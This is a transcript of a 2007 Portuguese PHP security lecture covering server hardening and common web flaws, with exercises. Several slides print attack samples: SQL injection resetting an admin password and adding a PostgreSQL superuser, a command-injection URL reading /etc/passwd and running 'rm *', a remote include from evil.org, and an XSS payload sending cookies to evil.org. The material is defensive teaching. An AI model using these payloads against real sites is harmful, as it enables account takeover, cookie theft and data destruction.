security & php

39
PHP Summer School PHP Summer School Segurança Nuno Loureiro <[email protected] > http://blog.sig9.net / 20/07/2007 PHP Summer School 20/07/2007 Nuno Loureiro <[email protected] >

Upload: nuno-loureiro

Post on 18-Dec-2014

7.825 views

Category:

Technology


2 download

DESCRIPTION

PHP Summer School, Lisbon, Jul 2007 Security Module

TRANSCRIPT

Page 1: Security & PHP

PHP Summer School

20/07/2007Nuno Loureiro <[email protected]>

PHP Summer School

SegurançaNuno Loureiro <[email protected]>

http://blog.sig9.net/20/07/2007

PHP Summer School

20/07/2007Nuno Loureiro <[email protected]>

Page 2: Security & PHP

Segurança

PHP Summer School

• Licenciatura em Eng. Sistemas e Computação

• Começou a usar Linux em 1995

• Começou a programar PHP em 1999

• Organizou o 1º Simpósio de Linux em 1999 - Simplinux

• Sócio-fundador da ETH em 1999

• Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002

• Juntou-se à equipa do SAPO em 2002

• Programador do Webmail do SAPO

• Gestor técnico da plataforma de email do SAPO

• Zend Certified Engineer em 2005

About me

2

Page 3: Security & PHP

Segurança

PHP Summer School

• Segurança do Sistema• Sistema Operativo e Serviços

• Servidor de Web

• Código PHP• Register Globals

• Processamento de Forms

• Interacção com Bases de Dados

• Chamar programas externos

• Incluir ficheiros

• Sessões

• Cross-Site Scripting

• Conclusão

Sumário

3

Page 4: Security & PHP

Segurança

PHP Summer School

• Sistema Operativo• Manter o S.O. sempre actualizado

• Instalar todos os patchs de segurança disponibilizados pelo vendedor

• Serviços• Fechar todos os ports não necessários ou

• Desligar todos os serviços de rede não necessários

• Ferramentas para auditoria de segurança• Ex: Nessus - http://www.nessus.org/

Segurança do Sistema

4

Sistema Operativo e Serviços

Page 5: Security & PHP

Segurança

PHP Summer School

5

Servidor de Web - Configuração

• Correr com um UID próprio (ex: nobody)

• Desligar opção/módulo para listar o conteúdo de directórios• mod_autoindex

• Negar acesso a directórios não necessários <LocationMatch "/(scripts|templates|lib|locale|config|docs)/"> order deny,allow deny from all </LocationMatch>

• Negar acesso a ficheiros não necessários <FilesMatch "\.(inc)?~?$"> order deny,allow deny from all </FilesMatch>

Segurança do Sistema

Page 6: Security & PHP

Segurança

PHP Summer School

6

Falhas nestas configurações básicas podem ter consequências gravíssimas

Wrong! Right!

wget http://foobar.pt/horde/config/horde.php.bak

É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de configuração são incluidos pelo PHP através do filesystem

Servidor de Web - ConfiguraçãoSegurança do Sistema

Page 7: Security & PHP

Segurança

PHP Summer School

7

displays_errors = off

log_errors = on

error_log = /var/log/php.log

register_globals = off **

session.use_trans_sid = 0 **

open_basedir = /servers/www/foo.bar/

expose_php = off

php.ini:

** by default

Auditoria de Segurança da Instalação de PHP:

• PHPSecInfo - http://phpsec.org/projects/phpsecinfo/

Servidor de Web - PHP

Segurança do Sistema

Page 8: Security & PHP

Segurança

PHP Summer SchoolCódigo PHP

8

• Segurança é uma medida e não uma característica

• Segurança têm de ser balanceada com os custos

• Segurança têm de ser balanceada com usabilidade

• Um sistema completamente seguro é virtualmente impossível

• Usar bom senso para balancear estes conceitos!

• Saber os conceitos para programar PHP com segurança é fácil, o difícil é nos habituarmos a usá-los!

Agora que vamos começar a programar, convém termos umas noções básicas.

Page 9: Security & PHP

Segurança

PHP Summer School

9

Primeira lição e regra básica para programar PHP com segurança:

Código PHP

Page 10: Security & PHP

Segurança

PHP Summer School

9

Primeira lição e regra básica para programar PHP com segurança:

NEVER TRUST USER INPUT!!

Código PHP

Page 11: Security & PHP

Segurança

PHP Summer School

10

Aprenderam? Permitam que me repita novamente:

Código PHP

Page 12: Security & PHP

Segurança

PHP Summer School

10

Aprenderam? Permitam que me repita novamente:

NEVER TRUST USER INPUT!!

Código PHP

Page 13: Security & PHP

Segurança

PHP Summer School

11

Register Globals

• Desde a versão 4.2.0 que o register_globals está desligado por default.

• Foi das alterações de configuração mais polémicas da história do PHP.

• Todo o tipo de variáveis externas era introduzida no Global Scope.

• Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ...

Código PHP

Page 14: Security & PHP

Segurança

PHP Summer School

11

Register Globals

• Desde a versão 4.2.0 que o register_globals está desligado por default.

• Foi das alterações de configuração mais polémicas da história do PHP.

• Todo o tipo de variáveis externas era introduzida no Global Scope.

• Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ...

Wrong!

Código PHP

Page 15: Security & PHP

Segurança

PHP Summer School

11

Register Globals

• Desde a versão 4.2.0 que o register_globals está desligado por default.

• Foi das alterações de configuração mais polémicas da história do PHP.

• Todo o tipo de variáveis externas era introduzida no Global Scope.

• Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ...

Wrong! Right!

Código PHP

Page 16: Security & PHP

Segurança

PHP Summer School

12

Processamento de Forms

Spoofed Form Submission:

<form action="/process.php" method="POST"><select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option></select><input type="submit" /></form>

http://example.org/form.html:

<form action="http://example.org/process.php" method="POST"><input type="text" name="color" /><input type="submit" /></form>

Spoofed form:

POST /process.php HTTP/1.1Host: example.orgContent-Type: application/x-www-form-urlencodedContent-Length: 9

color=red

Spoofed HTTP Request:

Código PHP

Page 17: Security & PHP

Segurança

PHP Summer School

12

Processamento de Forms

Spoofed Form Submission:

<form action="/process.php" method="POST"><select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option></select><input type="submit" /></form>

http://example.org/form.html:

<form action="http://example.org/process.php" method="POST"><input type="text" name="color" /><input type="submit" /></form>

Spoofed form:

POST /process.php HTTP/1.1Host: example.orgContent-Type: application/x-www-form-urlencodedContent-Length: 9

color=red

Spoofed HTTP Request:

Right!

Este exemplo não parece perigoso...

Código PHP

Page 18: Security & PHP

Segurança

PHP Summer School

13

Processamento de Forms

Spoofed Form Submission:http://example.org/fupload.php:

<form method="post" name="fileupload" action="fupload.php"><input type="hidden" name="fn" value="/var/www/html/index.php"><input type="hidden" name="fn_type" value="text"><input type="hidden" name="fn_size" value="22"><input type="submit" name="upload_file" value="Upload">

Spoofed form:

Código PHP

Page 19: Security & PHP

Segurança

PHP Summer School

13

Processamento de Forms

Spoofed Form Submission:http://example.org/fupload.php:

Right!

<form method="post" name="fileupload" action="fupload.php"><input type="hidden" name="fn" value="/var/www/html/index.php"><input type="hidden" name="fn_type" value="text"><input type="hidden" name="fn_size" value="22"><input type="submit" name="upload_file" value="Upload">

Spoofed form:

... mas este já parece perigoso!

Código PHP

Page 20: Security & PHP

Segurança

PHP Summer School

14

Interacção com Bases de Dados

http://example.com/edit.php?update_table_submit=1&table=users+set+password%3Daaa+where+user%3D%27admin%27+%23

SQL Injection

Exemplo:

Ataque:

• Filtrem os dados. Se sabem o que esperam, filtrem!

• Se a base de dados permitir, coloquem pelicas à volta de todos os dados independente do tipo de dados

• “Escape your data” - ex: mysql_real_escape_string(), addslashes()

Boas práticas:

update users set password=aaa where user="admin" # set name=$name

Query executado:

Código PHP

Page 21: Security & PHP

Segurança

PHP Summer School

15

SQL InjectionOutro Exemplo:

Query executado:0;insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres';--

Código PHPInteracção com Bases de Dados

Page 22: Security & PHP

Segurança

PHP Summer School

15

SQL InjectionOutro Exemplo:

Query executado:0;insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres';--

Possível Solução:

Código PHPInteracção com Bases de Dados

Page 23: Security & PHP

Segurança

PHP Summer School

16

Chamar programas externos

http://example.com/send.php?$to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A

Exemplo:

Ataque:

Resultado:

/usr/sbin/sendmail -i [email protected]/etc/passwd; rm *

Código PHP

Page 24: Security & PHP

Segurança

PHP Summer School

16

Chamar programas externos

http://example.com/send.php?$to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A

Exemplo:

Ataque:

Resultado:

/usr/sbin/sendmail -i [email protected]/etc/passwd; rm *

Solução:

Código PHP

Page 25: Security & PHP

Segurança

PHP Summer School

17

Incluir ficheirosIncluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo

http://example.com/leftframe.php?layout=http://evil.org/nasty.html

Exemplo:

Ataque:

nasty.html:

Código PHP

Page 26: Security & PHP

Segurança

PHP Summer School

17

Incluir ficheirosIncluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo

http://example.com/leftframe.php?layout=http://evil.org/nasty.html

Exemplo:

Ataque:

nasty.html:

Código PHP

Page 27: Security & PHP

Segurança

PHP Summer School

17

Incluir ficheirosIncluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo

http://example.com/leftframe.php?layout=http://evil.org/nasty.html

Exemplo:

Ataque:

Solução:

nasty.html:

Código PHP

Page 28: Security & PHP

Segurança

PHP Summer School

18

SessõesSession Fixation / Session Hijacking

http://example.com/index.php?PHPSESSID=12345

Exemplo para compreensão: Atacante fornece URL:

Vítima usa URL, faz login no site e atacante faz hijacking da sessão

Código PHP

Page 29: Security & PHP

Segurança

PHP Summer School

18

SessõesSession Fixation / Session Hijacking

http://example.com/index.php?PHPSESSID=12345

Exemplo para compreensão: Atacante fornece URL:

Solução:

Vítima usa URL, faz login no site e atacante faz hijacking da sessão

Código PHP

Page 30: Security & PHP

Segurança

PHP Summer School

19

Exemplo: Ataque - email cujo subject é:

Cross Site Scripting

<script>self.location.href="http://evil.org/cookie-grab.html?cookies="+escape(document.cookie)</script>

Atacante pode ver nos logs do seu servidor os cookies da vítima

Código PHP

Page 31: Security & PHP

Segurança

PHP Summer School

19

Exemplo: Ataque - email cujo subject é:

Solução:

Cross Site Scripting

<script>self.location.href="http://evil.org/cookie-grab.html?cookies="+escape(document.cookie)</script>

Atacante pode ver nos logs do seu servidor os cookies da vítima

Código PHP

Page 32: Security & PHP

Segurança

PHP Summer School

20

Conclusão

is_numeric()is_scalar()

htmlentities()

htmlspecialchars()

ctype_digit()

ctype_alpha()

ctype_alnum()

is_float()

is_int()

addslashes()

mysql_real_escape_string()pg_escape_string()

intval()

settype()

preg_match()

Código PHP

Page 33: Security & PHP

Segurança

PHP Summer School

21

Fazer o security fix do seguinte script:

ExercíciosExercício I

Código PHP

Page 34: Security & PHP

Segurança

PHP Summer School

22

Solução para o Exercício I:

Código PHPExercícios

Page 35: Security & PHP

Segurança

PHP Summer School

23

• Fazer o security fix do seguinte script:

Exercício II

• De que tipo de vulnerabilidade sofre este script ?

Código PHPExercícios

Page 36: Security & PHP

Segurança

PHP Summer School

24

Solução para o Exercício II:

• O script pode sofrer um ataque de SQL Injection

Código PHPExercícios

Page 37: Security & PHP

Segurança

PHP Summer School

25

• Fazer o security fix do seguinte script:

Exercício III

• De que tipo de vulnerabilidade sofre este script ?

Código PHPExercícios

Page 38: Security & PHP

Segurança

PHP Summer School

26

Solução para o Exercício III:

O script pode sofrer um ataque de Cross Site Scripting

Código PHPExercícios

Page 39: Security & PHP

PHP Summer School

20/07/2007Nuno Loureiro <[email protected]>

PHP Summer School

FIM!

Nuno Loureiro <[email protected]>http://blog.sig9.net/

20/07/2007

PHP Summer School

20/07/2007Nuno Loureiro <[email protected]>

Obrigado, perguntas?